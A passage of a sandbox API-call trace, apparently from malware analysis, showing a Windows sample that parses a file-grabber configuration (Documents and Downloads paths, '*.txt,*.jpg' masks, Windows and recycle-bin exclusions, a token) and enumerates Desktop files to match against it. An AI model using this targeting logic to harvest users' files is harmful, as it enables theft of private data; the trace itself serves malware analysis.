(lpString="1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 216 [0270.881] LocalAlloc (uFlags=0x40, uBytes=0x1b0) returned 0x6fa048 [0270.881] StrStrW (lpFirst="1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.881] lstrlenW (lpString="1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 216 [0270.881] LocalAlloc (uFlags=0x40, uBytes=0x230) returned 0x6fa200 [0270.881] StrCpyW (in: psz1=0x6fa048, psz2="1" | out: psz1="1") returned="1" [0270.881] LocalFree (hMem=0x6fa200) returned 0x0 [0270.881] lstrlenW (lpString="1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 214 [0270.881] LocalAlloc (uFlags=0x40, uBytes=0x1ac) returned 0x6fa200 [0270.881] StrStrW (lpFirst="1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.882] lstrlenW (lpString="1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 214 [0270.882] LocalAlloc (uFlags=0x40, uBytes=0x22c) returned 0x6fa3b8 [0270.882] StrCpyW (in: psz1=0x6fa200, psz2="1" | out: psz1="1") returned="1" [0270.882] LocalFree (hMem=0x6fa3b8) returned 0x0 [0270.882] lstrlenW (lpString="files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 212 [0270.882] LocalAlloc (uFlags=0x40, uBytes=0x1a8) returned 0x6fa3b8 [0270.882] StrStrW (lpFirst="files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.882] lstrlenW (lpString="files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 212 [0270.882] LocalAlloc (uFlags=0x40, uBytes=0x228) returned 0x6fa568 [0270.882] StrCpyW (in: psz1=0x6fa3b8, psz2="files" | out: psz1="files") returned="files" [0270.882] LocalFree (hMem=0x6fa568) returned 0x0 [0270.882] LocalAlloc (uFlags=0x40, uBytes=0x28000) returned 0x716f88 [0270.886] StrToIntW (lpSrc="6") returned 6 [0270.886] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.886] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4848 [0270.886] lstrlenW (lpString="%USERPROFILE%\\Desktop\\") returned 22 [0270.886] StrStrW (lpFirst="USERPROFILE%\\Desktop\\", lpSrch="%") returned="%\\Desktop\\" [0270.886] lstrlenW (lpString="USERPROFILE%\\Desktop\\") returned 21 [0270.886] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x6bea98 [0270.886] StrCpyW (in: psz1=0x6f4848, psz2="USERPROFILE" | out: psz1="USERPROFILE") returned="USERPROFILE" [0270.886] LocalFree (hMem=0x6bea98) returned 0x0 [0270.887] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x73ef90, nSize=0x208 | out: lpBuffer="") returned 0x12 [0270.887] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.887] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.887] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\*"), lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2e961760, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x2e961760, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0270.888] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2e961760, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x2e961760, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="..", cAlternateFileName="")) returned 1 [0270.888] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f89900, ftCreationTime.dwHighDateTime=0x1d8a329, ftLastAccessTime.dwLowDateTime=0xcebb3050, ftLastAccessTime.dwHighDateTime=0x1d8a368, ftLastWriteTime.dwLowDateTime=0xcebb3050, ftLastWriteTime.dwHighDateTime=0x1d8a368, nFileSizeHigh=0x0, nFileSizeLow=0x15ec0, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="33DJTmK-.mp4", cAlternateFileName="")) returned 1 [0270.888] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.888] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.889] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.889] lstrlenW (lpString="*.lnk") returned 5 [0270.889] lstrlenW (lpString="*.lnk") returned 5 [0270.889] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6c0550 [0270.889] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.889] LocalFree (hMem=0x6c0550) returned 0x0 [0270.889] PathMatchSpecW (pszFile="33DJTmK-.mp4", pszSpec="*.lnk") returned 0 [0270.890] LocalFree (hMem=0x73ef90) returned 0x0 [0270.890] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.890] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x805a18b0, ftCreationTime.dwHighDateTime=0x1d89830, ftLastAccessTime.dwLowDateTime=0x6db9d440, ftLastAccessTime.dwHighDateTime=0x1d89d4c, ftLastWriteTime.dwLowDateTime=0x6db9d440, ftLastWriteTime.dwHighDateTime=0x1d89d4c, nFileSizeHigh=0x0, nFileSizeLow=0x136d5, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="3y32vFpy T-B3JXMj0Qs.mp3", cAlternateFileName="3Y32VF~1.MP3")) returned 1 [0270.890] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.890] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.890] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.891] lstrlenW (lpString="*.lnk") returned 5 [0270.891] lstrlenW (lpString="*.lnk") returned 5 [0270.891] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6c0550 [0270.891] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.891] LocalFree (hMem=0x6c0550) returned 0x0 [0270.891] PathMatchSpecW (pszFile="3y32vFpy T-B3JXMj0Qs.mp3", pszSpec="*.lnk") returned 0 [0270.891] LocalFree (hMem=0x73ef90) returned 0x0 [0270.891] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.891] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdcbf10, ftCreationTime.dwHighDateTime=0x1d8a6e7, ftLastAccessTime.dwLowDateTime=0xb945f1b0, ftLastAccessTime.dwHighDateTime=0x1d8a70a, ftLastWriteTime.dwLowDateTime=0xb945f1b0, ftLastWriteTime.dwHighDateTime=0x1d8a70a, nFileSizeHigh=0x0, nFileSizeLow=0x15f8c, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="5aKYRoeEX3tjAJq.m4a", cAlternateFileName="5AKYRO~1.M4A")) returned 1 [0270.891] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.891] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.892] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.892] lstrlenW (lpString="*.lnk") returned 5 [0270.892] lstrlenW (lpString="*.lnk") returned 5 [0270.892] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6c0550 [0270.892] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.892] LocalFree (hMem=0x6c0550) returned 0x0 [0270.892] PathMatchSpecW (pszFile="5aKYRoeEX3tjAJq.m4a", pszSpec="*.lnk") returned 0 [0270.892] LocalFree (hMem=0x73ef90) returned 0x0 [0270.892] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.893] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2d3740, ftCreationTime.dwHighDateTime=0x1d89b24, ftLastAccessTime.dwLowDateTime=0xa43d6dd0, ftLastAccessTime.dwHighDateTime=0x1d8a6aa, ftLastWriteTime.dwLowDateTime=0xa43d6dd0, ftLastWriteTime.dwHighDateTime=0x1d8a6aa, nFileSizeHigh=0x0, nFileSizeLow=0xd16d, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="5pKNhx954bW-uPeBs1k.jpg", cAlternateFileName="5PKNHX~1.JPG")) returned 1 [0270.893] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.893] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.893] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.893] lstrlenW (lpString="*.lnk") returned 5 [0270.893] lstrlenW (lpString="*.lnk") returned 5 [0270.893] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6c0550 [0270.893] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.893] LocalFree (hMem=0x6c0550) returned 0x0 [0270.893] PathMatchSpecW (pszFile="5pKNhx954bW-uPeBs1k.jpg", pszSpec="*.lnk") returned 0 [0270.894] LocalFree (hMem=0x73ef90) returned 0x0 [0270.894] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.894] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14505280, ftCreationTime.dwHighDateTime=0x1d8a8cd, ftLastAccessTime.dwLowDateTime=0x14505280, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x27095e00, ftLastWriteTime.dwHighDateTime=0x1d8a8b2, nFileSizeHigh=0x0, nFileSizeLow=0xc60800, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe", cAlternateFileName="6B8DAC~1.EXE")) returned 1 [0270.894] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.894] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.897] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.897] lstrlenW (lpString="*.lnk") returned 5 [0270.897] lstrlenW (lpString="*.lnk") returned 5 [0270.897] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6c0550 [0270.897] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.897] LocalFree (hMem=0x6c0550) returned 0x0 [0270.897] PathMatchSpecW (pszFile="6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe", pszSpec="*.lnk") returned 0 [0270.898] LocalFree (hMem=0x73ef90) returned 0x0 [0270.898] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.898] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d82f680, ftCreationTime.dwHighDateTime=0x1d8a6f4, ftLastAccessTime.dwLowDateTime=0x8c1a4a50, ftLastAccessTime.dwHighDateTime=0x1d8a738, ftLastWriteTime.dwLowDateTime=0x8c1a4a50, ftLastWriteTime.dwHighDateTime=0x1d8a738, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="deGpo hpzw7E5AcHr5", cAlternateFileName="DEGPOH~1")) returned 1 [0270.898] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.898] PathCombineW (in: pszDest=0x73ef90, pszDir="C:\\Users\\kEecfMwgj\\Desktop\\", pszFile="deGpo hpzw7E5AcHr5" | out: pszDest="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5") returned="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5" [0270.898] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0270.898] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x73f4e8 [0270.898] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0270.898] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0270.898] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0270.898] StrCpyW (in: psz1=0x73f4e8, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0270.898] LocalFree (hMem=0x6b9738) returned 0x0 [0270.898] PathMatchSpecW (pszFile="deGpo hpzw7E5AcHr5", pszSpec="*windows*") returned 0 [0270.899] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.899] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0270.899] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x73f4e8 [0270.899] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0270.899] lstrlenW (lpString="*recycle*") returned 9 [0270.899] lstrlenW (lpString="*recycle*") returned 9 [0270.899] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6c0550 [0270.899] StrCpyW (in: psz1=0x73f4e8, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0270.900] LocalFree (hMem=0x6c0550) returned 0x0 [0270.900] PathMatchSpecW (pszFile="deGpo hpzw7E5AcHr5", pszSpec="*recycle*") returned 0 [0270.900] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.900] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0270.900] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5") returned="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5" [0270.900] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5") returned 45 [0270.900] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\degpo hpzw7e5achr5\\*"), lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d82f680, ftCreationTime.dwHighDateTime=0x1d8a6f4, ftLastAccessTime.dwLowDateTime=0x8c1a4a50, ftLastAccessTime.dwHighDateTime=0x1d8a738, ftLastWriteTime.dwLowDateTime=0x8c1a4a50, ftLastWriteTime.dwHighDateTime=0x1d8a738, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0270.902] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d82f680, ftCreationTime.dwHighDateTime=0x1d8a6f4, ftLastAccessTime.dwLowDateTime=0x8c1a4a50, ftLastAccessTime.dwHighDateTime=0x1d8a738, ftLastWriteTime.dwLowDateTime=0x8c1a4a50, ftLastWriteTime.dwHighDateTime=0x1d8a738, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.902] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4fe0aa0, ftCreationTime.dwHighDateTime=0x1d89de9, ftLastAccessTime.dwLowDateTime=0x1186e920, ftLastAccessTime.dwHighDateTime=0x1d8a205, ftLastWriteTime.dwLowDateTime=0x1186e920, ftLastWriteTime.dwHighDateTime=0x1d8a205, nFileSizeHigh=0x0, nFileSizeLow=0x1771e, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="OoV1GysqA2qq.m4a", cAlternateFileName="OOV1GY~1.M4A")) returned 1 [0270.902] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f4e8 [0270.902] StrCpyW (in: psz1=0x73f4e8, psz2="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5") returned="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5" [0270.902] lstrlenW (lpString="\\") returned 1 [0270.902] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5") returned 45 [0270.902] LocalAlloc (uFlags=0x40, uBytes=0x15c) returned 0x73f900 [0270.903] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.903] lstrlenW (lpString="*.lnk") returned 5 [0270.903] lstrlenW (lpString="*.lnk") returned 5 [0270.903] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6c0550 [0270.903] StrCpyW (in: psz1=0x73f670, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.903] LocalFree (hMem=0x6c0550) returned 0x0 [0270.903] PathMatchSpecW (pszFile="OoV1GysqA2qq.m4a", pszSpec="*.lnk") returned 0 [0270.904] LocalFree (hMem=0x73f670) returned 0x0 [0270.904] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.904] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d29f800, ftCreationTime.dwHighDateTime=0x1d89dbb, ftLastAccessTime.dwLowDateTime=0xae937bb0, ftLastAccessTime.dwHighDateTime=0x1d8a599, ftLastWriteTime.dwLowDateTime=0xae937bb0, ftLastWriteTime.dwHighDateTime=0x1d8a599, nFileSizeHigh=0x0, nFileSizeLow=0x11800, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="rGQ9AKR.jpg", cAlternateFileName="")) returned 1 [0270.904] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f4e8 [0270.904] StrCpyW (in: psz1=0x73f4e8, psz2="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5") returned="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5" [0270.904] lstrlenW (lpString="\\") returned 1 [0270.904] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\deGpo hpzw7E5AcHr5") returned 45 [0270.904] LocalAlloc (uFlags=0x40, uBytes=0x15c) returned 0x73f900 [0270.904] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.904] lstrlenW (lpString="*.lnk") returned 5 [0270.904] lstrlenW (lpString="*.lnk") returned 5 [0270.904] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6c0550 [0270.904] StrCpyW (in: psz1=0x73f668, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.905] LocalFree (hMem=0x6c0550) returned 0x0 [0270.905] PathMatchSpecW (pszFile="rGQ9AKR.jpg", pszSpec="*.lnk") returned 0 [0270.905] LocalFree (hMem=0x73f668) returned 0x0 [0270.905] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.905] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d29f800, ftCreationTime.dwHighDateTime=0x1d89dbb, ftLastAccessTime.dwLowDateTime=0xae937bb0, ftLastAccessTime.dwHighDateTime=0x1d8a599, ftLastWriteTime.dwLowDateTime=0xae937bb0, ftLastWriteTime.dwHighDateTime=0x1d8a599, nFileSizeHigh=0x0, nFileSizeLow=0x11800, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="rGQ9AKR.jpg", cAlternateFileName="")) returned 0 [0270.906] LocalFree (hMem=0x6f50e8) returned 0x0 [0270.906] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0270.906] LocalFree (hMem=0x73ef90) returned 0x0 [0270.906] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f4710, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0270.906] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.906] StrCpyW (in: psz1=0x73ef90, psz2="C:\\Users\\kEecfMwgj\\Desktop\\" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\") returned="C:\\Users\\kEecfMwgj\\Desktop\\" [0270.906] lstrlenW (lpString="desktop.ini") returned 11 [0270.906] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0270.906] LocalAlloc (uFlags=0x40, uBytes=0x14c) returned 0x73f4e8 [0270.907] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.907] lstrlenW (lpString="*.lnk") returned 5 [0270.907] lstrlenW (lpString="*.lnk") returned 5 [0270.907] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6c0550 [0270.907] StrCpyW (in: psz1=0x73ef90, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.907] LocalFree (hMem=0x6c0550) returned 0x0 [0270.907] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.lnk") returned 0 [0270.908] LocalFree (hMem=0x73ef90) returned 0x0 [0270.908] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0270.908] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x73ef90 [0270.908] StrStrW (lpFirst="*.txt,*.jpg", lpSrch=",") returned=",*.jpg" [0270.908] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0270.908] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x6fb588 [0270.908] StrCpyW (in: psz1=0x73ef90, psz2="*.txt" | out: psz1="*.txt") returned="*.txt" [0270.908] LocalFree (hMem=0x6fb588) returned 0x0 [0270.909] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.txt") returned 0 [0270.909] LocalFree (hMem=0x73ef90) returned 0x0 [0270.909] lstrlenW (lpString="*.txt,*.jpg") returned 11 [0270.909] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x73ef90 [0270.909] StrStrW (lpFirst="*.jpg", lpSrch=",") returned 0x0 [0270.909] lstrlenW (lpString="*.jpg") returned 5 [0270.909] lstrlenW (lpString="*.jpg") returned 5 [0270.909] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6c0550 [0270.909] StrCpyW (in: psz1=0x73ef90, psz2="*.jpg" | out: psz1="*.jpg") returned="*.jpg" [0270.910] LocalFree (hMem=0x6c0550) returned 0x0 [0270.911] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.jpg") returned 0 [0270.911] LocalFree (hMem=0x73ef90) returned 0x0 [0270.911] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.911] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x640b9930, ftCreationTime.dwHighDateTime=0x1d89ddb, ftLastAccessTime.dwLowDateTime=0xa3c26c80, ftLastAccessTime.dwHighDateTime=0x1d8a61d, ftLastWriteTime.dwLowDateTime=0xa3c26c80, ftLastWriteTime.dwHighDateTime=0x1d8a61d, nFileSizeHigh=0x0, nFileSizeLow=0xb37d, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="F9o4w1Kod5NbWiXunC.bmp", cAlternateFileName="F9O4W1~1.BMP")) returned 1 [0270.911] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73ef90 [0270.912] StrCpyW (in: psz1=0x73ef90, 